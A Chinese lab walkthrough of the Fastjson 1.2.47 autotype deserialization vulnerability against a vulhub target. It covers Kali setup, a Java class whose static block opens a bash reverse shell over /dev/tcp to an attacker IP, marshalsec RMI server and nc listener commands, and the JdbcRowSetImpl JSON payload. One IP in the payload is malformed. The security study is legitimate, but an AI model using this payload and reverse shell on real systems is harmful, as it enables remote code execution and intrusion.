赞
踩
fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
漏洞的原理
首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
Fastjson1.2.47以及之前的版本
vulhub中有fastjson反序列化漏洞的靶场,怎样搭建velhub请参考
centos7搭建和使用vulhub全过程--图文_centos7搭建vulstudy-CSDN博客
我这边在centos7上边搭建,各位看自己习惯
进入到fastjson反序列化漏洞目录
使用命令开启靶场:docker-compose up -d
如图靶场开启成功
使用命令docker-compose ps查看靶场端口
访问ip+端口
靶场搭建成功
要是在kali中搭建攻击环境的话,需要先卸载自带的Java环境
dpkg --list | grep -i jdk
apt-get purge openjdk-*
再次运行dpkg --list | grep -i jdk检查是否卸载干净
wget https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz
# 将压缩包放到/opt/java目录下(注意自己的路径,没有/opt/java自己创建)
mv jdk-8u212-linux-x64.tar.gz /opt/java
tar -zxvf jdk-8u212-linux-x64.tar.gz
修改/etc/profile文件
vim /etc/profile
export JAVA_HOME=/opt/java/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}
sudo update-alternatives --install "/usr/bin/java" "java" "/opt/java/jdk1.8.0_212/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/opt/java/jdk1.8.0_212/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/opt/java/jdk1.8.0_212/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/opt/java/jdk1.8.0_212/bin/javaws" 1
sudo update-alternatives --set java /opt/java/jdk1.8.0_212/bin/java
sudo update-alternatives --set javac /opt/java/jdk1.8.0_212/bin/javac
sudo update-alternatives --set javaws /opt/java/jdk1.8.0_212/bin/javaws
source /etc/profile
java -version
Index of /dist/maven/maven-3/3.5.4/binaries
下载到本地直接拖进去移动到/opt/java目录就行
tar -zxvf apache-maven-3.5.4-bin.tar.gz
update-alternatives --install /usr/bin/mvn mvn /var/local/fastjion/apache-maven-3.5.4/bin/mvn 1
vim /etc/profile
#添加内容
export MAVEN_HOME=/opt/java/apache-maven-3.5.4(apache-maven-3.5.4所在的目录)
export PATH=$MAVEN_HOME/bin:$PATH
source /etc/profile
mvn -version
git clone GitHub - mbechler/marshalsec
时间可能会一些长,耐心等待
#进入marshalsec目录
cd marshalsec
#编译(时间特别长,耐心等待编译完成)
mvn clean package -DskipTests
如图编译完成
切换目录到marshalsec/target中
创建TouchFile.java文件
Vim TouchFile.java添加如下内容
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/反弹IP/1888 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
#编译TouchFile.java
javac TouchFile.java
#在TouchFile.java所在目录,使用python搭建web服务,使用下面俩个哪个都行,此处使用python2
# python2
python -m SimpleHTTPServer 8086(8086为web服务端口)
# python3
python3 -m http.server
这里是为了让被攻击的网站可以找到我们的恶意文件
#进入到marshalsec/target目录
cd /opt/java/marshalsec/target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.21.54:8001/#TouchFile" 9999
nc -lnvp 1888
终于搭建完成了,接下来我们开始攻击
访问我们第一步搭建的存在fastjson反序列化漏洞的靶场,用burp suite抓包
发送到repeater方便我们攻击
再次右键选择改变传参类型,改为POST请求
在请求体中添加payload,发起攻击
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://1923168.21.54:9999/TouchFile",
"autoCommit":true
}
}
查看我们的监听,成功反弹shell
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。